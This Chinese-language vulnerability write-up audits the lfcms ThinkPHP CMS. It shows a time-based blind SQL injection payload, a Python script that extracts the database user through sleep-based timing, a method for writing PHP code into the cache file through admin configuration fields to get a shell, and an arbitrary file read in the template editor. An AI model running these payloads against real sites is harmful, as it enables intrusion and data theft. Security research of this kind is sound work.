查看数据库日志可以得到如下sql语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1接着来尝试下进行注入,测试链接如下
?limit=1&category=2 and sleep(5)页面确实延迟了5秒,那么接着看一下后端数据库的语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1基本可以判断该处存在着可用的注入点,接下来编写脚本跑一下数据库用户名试试
import requests
url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""
for i in range(1,50):
print('==========================')
for j in range(32,127):
payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j)
temp = url+payload
try:
s.get(temp,timeout=5)
except:
result+= chr(j)
print(result)
break
相同原理的利用点同样不止一个,如/Application/Home/Controller/PlayerController.class.php文件中的down方法调用了模型movie中的getPlayerUrl方法,该方法的pid参数同样可以注入
后台getshell该漏洞可以利用的原因一是在于后台对于站点配置数据没有做好过滤,二是利用了tp3.2版本下本身存在的缓存漏洞,漏洞起始利用点位于/Application/Admin/Controller/ConfigController.class.php中的save方法,代码如下
该处将后台设置的配置项直接存储在数据库中,接着当用户访问站点前台页面时,会调用/Application/Home/Controller/HomeController.class.php中的_initialize方法,部分代码如图
当第一次访问时,会调用第二十一行的缓存函数写缓存文件,在这里如果在设置配置数据的时候写入恶意的PHP代码,就可以在缓存文件中写入我们想要执行的代码,进而getshell,首先我们来到后台用户配置设置处
提交数据抓取数据包,在其中一个设置项中填入php代码,由于缓存文件对于配置项进行了注释,为了逃逸注释我们需要另起一行写入PHP代码并将后面的无用数据注释掉,如图
然后访问前台页面生成缓存文件,缓存文件在/Application/Runtime/Temp/目录下,文件名为缓存数据名称的MD5值,在这里也就是DB_CONFIG_DATA的MD5值,我们直接访问缓存文件
成功的写入了PHP代码
任意文件读取漏洞起始点位于/Application/Admin/Controller/TemplateController.class.php中的edit方法,该方法用作后台模板编辑,关键代码如下
我们传入的路径需要将/替换为*接着调用了read方法,跟进该方法
public function read($filename,$type=''){
return $this->get($filename,'content',$type);
}
继续跟进get方法
public function get($filename,$name,$type='') {
if(!isset($this->contents[$filename])) {
if(!is_file($filename)) return false;
$this->contents[$filename]=file_get_contents($filename);
}
$content=$this->contents[$filename];
$info = array(
'mtime'
=> filemtime($filename),
'content' => $content
);
return $info[$name];
}
}